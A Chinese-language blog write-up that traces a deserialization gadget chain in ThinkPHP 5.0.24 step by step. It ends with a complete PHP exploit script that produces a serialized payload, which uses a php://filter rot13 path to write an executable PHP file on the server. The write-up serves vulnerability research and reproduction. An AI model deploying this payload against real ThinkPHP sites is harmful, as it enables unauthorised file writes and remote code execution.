• thinkphp5.0.24反序列化漏洞分析


    thinkphp5.0.24反序列化漏洞分析

    thinkphp5框架:

    image-20220615000257518

    thinkphp5的入口文件在public\index.php,访问

    http://192.168.64.105/thinkphp_5.0.24/public/index.php
    
    • 1

    image-20220615000539160

    具体分析

    反序列化起点

    写一个反序列化入口点

    image-20220615001131637

    全局搜索__destruct()函数

    image-20220615001115342

    \thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函数,调用了removeFiles()

    image-20220615001339350

    跟进removeFiles(),第163行的file_exists可以触发__toString方法

    image-20220615001418986

    全局搜索__toString方法

    thinkphp\library\think\Model.php的第2265行,发现其调用了toJson方法

    image-20220616230519422

    跟进toJson,发现其调用了toArray()方法(在Model.php中)

    image-20220616230630861

    toArray

    跟进toArray,发现其有三处可以调用__call方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call魔术方法)

    __call(),在对象中调用一个不可访问方法时调用。

    image-20220616231036322

    着重看第三处,也就是第912行,这个需要我们控制$value变量

    这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

    getRelationData分析

    跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphp\library\think\Model.php中定义的

    image-20220616235535073

    如果我们让if满足,那么$value=$this->parent,看三个条件

    1. $this->parent存在且可控
    2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

    image-20220617230450476

    1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

    跟进getModel()函数,该函数在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

    image-20220617230828281

    所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,该方法返回$this->model,并且$this->parent可控

    image-20220617231051519

    三个条件都满足,执行$value = $this->parent; return $value;,也就是\think\console\Output

    该函数分析到这里

    $modelRelation生成

    上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

    发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

    image-20220617231704327

    跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

    image-20220617232020032

    在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

    if (method_exists($this, $relation))
    
    • 1

    这里选择getError,因为其不仅在Model类中定义,且error可控

    在这里插入图片描述

    所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

    modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

    进入__call前的两个if

    接下来要分析两个if条件

    image-20220617233102696

    我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelationgetBindAttr()bindAttr`是该函数的返回值

    全局搜索getBindAttr

    image-20220617233345853

    image-20220620155134075

    其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

    我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

    image-20220617233841235

    其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

    image-20220617234621780

    __call

    然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

    所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

    image-20220617114358393

    在这里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

    image-20220617114621530

    跟进writeln方法

    image-20220617114702866

    跟进write方法

    image-20220617114808021

    handle属性可控,所以全局搜索write方法

    thinkphp\library\think\session\driver\Memcached.php的write方法

    image-20220617114921780

    而$this->handler可控,所以全局搜索可用的set方法

    虚假的写文件

    thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

    image-20220617194846677

    初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 datafilename,看 d a t a 与 data与 datafilename是否可控

    1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

    image-20220618001440689

    1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

    image-20220617201921089

    所以就是file_put_contents可以写文件,但是内容不可控

    setTagItem

    所以继续看set接下来的代码,调用了setTagItem()

    image-20220617202106451

    进入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

    在这里插入图片描述

    但是windows对文件名有相应的要求,所以复现不容易

    绕过exit

    上面已经分析得很详细了,这里简单调试分析一下

    到$value

    image-20220621201707779

    到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

    image-20220621202647751

    这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

    随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

    image-20220621203338705

    这个第二次调用set函数,$key可知,$value可控

    image-20220621230309625

    放在linux运行,生成了对应的文件

    image-20220621232215812

    查看

    image-20220621232244578

    这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

    注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

    image-20220622085044431

    exp

    <?php
    
    namespace think\process\pipes;
    use think\model\Pivot;
    abstract class Pipes
    {}
    //Windows类中有$files数组 通过file_exists触发__toString方法
    class Windows extends Pipes{
            private $files = [];    //$files是个数组
            public function __construct()
            {
                $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
            }
    }
    namespace think\model;
    use think\Model;
    class Pivot extends Model{
    }
    # Model抽象类
    namespace think;
    use think\model\relation\HasOne;
    use think\console\Output;
    use think\db\Query;
    abstract class Model{
        protected $append = [];
        protected $error;
        public $parent;#修改处
        protected $selfRelation;
        protected $query;
        protected $aaaaa;
    
        function __construct(){
            $this->parent = new Output();       //调用__call()
            $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
            $this->error = new HasOne();       //最后传给$modelRelation
            $this->selfRelation = false;    //isSelfRelation()
            $this->query = new Query();     //用于判断getRelationData()中if条件的第三个
    
        }
    }
    #Relation抽象类 之后的Output是Relation的派生类
    namespace think\model;  
    use think\db\Query;
    abstract class Relation{
        protected $selfRelation;
        protected $query;
        function __construct(){
            $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个
            $this->query = new Query();#class Query
        }
    }
    #OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
    namespace think\model\relation;
    use think\model\Relation;   
    abstract class OneToOne extends Relation{ # OneToOne抽象类
        function __construct(){
            parent::__construct();
        }
    }
    // HasOne
    class HasOne extends OneToOne{
        protected $bindAttr = [];
        function __construct(){
            parent::__construct();
            $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说    
        }
    }
    
    
    
    #Output  进入Output->__call()
    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle = null;
        protected $styles = [];
        function __construct(){
            $this->handle = new Memcached();   //目的调用Memcached类的write()函数
            $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
        }
    }
    
    #Query
    namespace think\db;
    use think\console\Output;
    class Query{
        protected $model;
        function __construct(){
            $this->model = new Output();  //判断getRelationData()中if条件的第三个
        }
    }
    #Memcached
    namespace think\session\driver;
    use think\cache\driver\File;
    class Memcached{
        protected $handler = null;
        function __construct(){
            $this->handler = new File();    //目的是调用File->set()
        }
    }
    #File
    namespace think\cache\driver;
    class File{
        protected $options = [];
        protected $tag;
        function __construct(){
            $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //
            'data_compress' => false,
            ];
            $this->tag = true;
        }
    }
    
    
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows()));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120

    pop链图

    这里借用一下osword师傅的图

    img

    解决windows下的文件名问题

    我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

    但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

    第114行也有一个set方法,且handler可控

    image-20220622000757213

    看这个getCacheKey()函数,这个options可控,所以返回值可控

    image-20220622000923068

    所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?这样的特殊符号的影响

    image-20220622001606288

    详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)

    参考链接

    1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
    2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
    3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
    4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客
  • 相关阅读:
    快速排序的python实现
    香港中文大学卢煜明教授荣获诺贝尔奖的“风向标”--拉斯克奖
    Javaweb第5次上机练习(获取HTTP的请求参数)
    stm32---定时器输入捕获
    【ESP32 IDF】用RMT控制 WS2812 彩色灯带
    【ESP32】Arduino C语言语法总结
    item_recommend - 获取推荐商品列表
    如何使用 Junit + Mockito 实践单元测试
    Flink处理函数 完整使用 (第七章)
    用frp搞个内网穿透
  • 原文地址:https://blog.csdn.net/RABCDXB/article/details/125402902